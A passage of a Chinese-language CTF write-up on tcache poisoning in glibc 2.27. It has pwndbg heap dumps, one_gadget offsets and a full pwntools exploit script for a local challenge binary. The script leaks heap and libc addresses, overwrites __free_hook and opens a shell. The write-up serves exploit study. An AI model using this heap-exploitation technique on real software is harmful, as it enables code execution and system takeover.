0x55555575a2c0 —▸ 0x7ffff7dcfca0 (main_arena+96 ) ◂— 0x55555575a2c0 smallbins empty largebins empty
因为tcache机制的原因,只有第八次释放才会把chunk放到unsortedbin中,所以fake_chunk的fd和bk指针指向的都是0x7ffff7dcfca0 (main_arena+96) ,利用show函数的打印功能,能得到libc的地址,再减去main_arena+96距离基址的偏移就是libc基址。
执行打印函数之后就会打印出libc的地址。
为getshell做准备 计算函数地址 payload使用的是one_gadget,所以需要计算__free_hook函数的地址。
1 2 3 4 5 free_hook = libc.symbols['__free_hook' ] log.info('Libc leak: ' + hex (leak)) log.info('Libc base: ' + hex (libc.address)) log.info('__free_hook: ' + hex (free_hook))
申请可用内存到__free_hook 部分payload:
1 2 3 4 5 6 7 8 add('A' *8 ) free() free() add(p64(free_hook)) add(p64(0 ))
申请前:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pwndbg> bin tcachebins 0x50 [ 1 ]: 0x55555575a270 ◂— 'AAAAAAAA' 0x90 [ 7 ]: 0x55555575a2d0 —▸ 0x7ffff7dcfca0 (main_arena+96 ) —▸ 0x55555575a3f0 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 unsortedbin all: 0x55555575a2c0 —▸ 0x7ffff7dcfca0 (main_arena+96 ) ◂— 0x55555575a2c0 smallbins empty largebins empty
申请后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pwndbg> bin tcachebins 0x50 [ 0 ]: 0x4141414141414141 ('AAAAAAAA' )0x90 [ 7 ]: 0x55555575a2d0 —▸ 0x7ffff7dcfca0 (main_arena+96 ) —▸ 0x55555575a3f0 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 unsortedbin all: 0x55555575a2c0 —▸ 0x7ffff7dcfca0 (main_arena+96 ) ◂— 0x55555575a2c0 smallbins empty largebins empty
可以看出0x55555575a270地址处的chunk被分配了。
再执行两次free,查看内存情况:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 pwndbg> bins tcachebins 0x50 [ 2 ]: 0x55555575a270 ◂— 0x55555575a270 0x90 [ 7 ]: 0x55555575a2d0 —▸ 0x7ffff7dcfca0 (main_arena+96 ) —▸ 0x55555575a3f0 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 unsortedbin all: 0x55555575a2c0 —▸ 0x7ffff7dcfca0 (main_arena+96 ) ◂— 0x55555575a2c0 smallbins empty largebins empty
又回到了tcache_attack dup。
然后执行
add(p64(free_hook))覆盖bin中的chunk的next指针为__free_hook区域
执行完add(p64(free_hook))时:
执行完add(p64(0))之后:
向__free_hook中写入one_gadget 先查询一下本机的onegadget:
1 2 3 4 5 6 7 8 9 10 11 12 root@ubuntu:~/CTF-PWN/Tcache Poisoning and dup# one_gadget libc-2.27 .so 0x4f365 execve("/bin/sh" , rsp+0x40 , environ)constraints: rcx == NULL 0x4f3c2 execve("/bin/sh" , rsp+0x40 , environ)constraints: [rsp+0x40 ] == NULL 0x10a45c execve("/bin/sh" , rsp+0x70 , environ)constraints: [rsp+0x70 ] == NULL
此时,tcachebins中只有__free_hook,所以再次申请就可以控制__free_hook:
1 2 3 one_gadget=[0x4f365 ,0x4f3c2 ,0x10a45c ] payload=one_gadget[0 ]+libc.address add(p64(payload))
getshell 执行free函数即可调用one_gadget从而getshell
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 from pwn import *p = process('./one' ) libc = ELF('./libc-2.27.so' ) def add (content ): p.sendlineafter('> ' , '1' ) p.sendlineafter('> ' , content) def show (): p.sendlineafter('> ' , '2' ) def free (): p.sendlineafter('> ' , '3' ) p = process('./one' ) add('A' *0x3e ) for i in range (4 ): free() show() heap_leak = u64(p.recvline().strip('\n' ).ljust(8 , '\x00' )) log.info('Heap leak: ' + hex (heap_leak)) add(p64(0 ) + 'A' *8 ) add('A' *8 ) for i in range (4 ): add((p64(heap_leak) + p64(0x91 )) * 3 ) free() free() add(p64(heap_leak + 0x60 )) add('A' *8 ) add('A' *8 ) for i in range (8 ): free() show() leak = u64(p.recvline().strip('\n' ).ljust(8 , '\x00' )) libc.address = leak - 0x3ebca0 free_hook = libc.symbols['__free_hook' ] log.info('Libc leak: ' + hex (leak)) log.info('Libc base: ' + hex (libc.address)) log.info('__free_hook: ' + hex (free_hook)) add('A' *8 ) free() free() add(p64(free_hook)) add(p64(0 )) one_gadget=[0x4f365 ,0x4f3c2 ,0x10a45c ] payload=one_gadget[1 ]+libc.address add(p64(payload)) free() p.interactive()